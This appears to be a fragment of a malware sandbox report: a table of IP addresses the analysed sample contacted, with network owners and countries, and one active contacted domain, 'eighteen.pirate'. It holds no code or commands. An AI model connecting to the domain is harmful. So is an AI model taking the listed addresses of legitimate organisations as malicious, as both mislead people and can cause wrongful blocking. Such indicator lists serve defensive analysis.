4249 LILLY-ASUS false
128.14.163.123
 unknown United States
21859 ZNETUS false
191.10.134.194
 unknown Brazil
27699 TELEFONICABRASILSABR false
133.231.235.3
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
105.188.229.114
 unknown Morocco
36925 ASMediMA false
134.134.74.181
 unknown United States
4983 INTEL-SC-ASUS false
210.215.67.230
 unknown Australia
9797 NEXONASIAPACIFIC-AS-APNexonAsiaPacificPLAU false
80.104.252.77
 unknown Italy
3269 ASN-IBSNAZIT false
156.78.197.12
 unknown United States
18862 NCS-HEALTHCAREUS false
102.208.225.75
 unknown unknown
36926 CKL1-ASNKE false
19.67.55.48
 unknown United States
3 MIT-GATEWAYSUS false
2.168.94.34
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
142.38.234.235
 unknown Canada
3633 PROVINCE-OF-BRITISH-COLUMBIACA false
70.21.67.148
 unknown United States
701 UUNETUS false
17.11.150.133
 unknown United States
714 APPLE-ENGINEERINGUS false
155.119.181.104
 unknown United States
11003 PANDGUS false
125.52.173.234
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
84.23.176.247
 unknown Poland
16290 TARMANTarnowPL false
100.160.92.219
 unknown United States
21928 T-MOBILE-AS21928US false
83.254.3.44
 unknown Sweden
39651 COMHEM-SWEDENSE false
66.242.9.14
 unknown United States
7979 SERVERS-COMUS false
75.171.38.190
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
5.201.240.177
 unknown Iran (ISLAMIC Republic Of)
50810 MOBINNET-ASAS47823belongstoArvanCloudCDNthatismobinn false
165.186.212.182
 unknown Korea Republic of
4668 LGNET-AS-KRLGCNSKR false
121.225.105.164
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
83.185.41.94
 unknown Sweden
1257 TELE2EU false
50.236.152.197
 unknown United States
12250 EHSCUS false
139.121.245.140
 unknown United States
188 SAIC-ASUS false
21.53.231.136
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
198.64.56.52
 unknown United States
25977 HCCSUS false
12.150.222.91
 unknown United States
2386 INS-ASUS false
162.114.123.159
 unknown United States
10921 KIHNETWORKUS false
67.158.233.66
 unknown United States
23265 POCKETINETUS false

Contacted Domains

Name IP Active
eighteen.pirate 103.253.147.242 true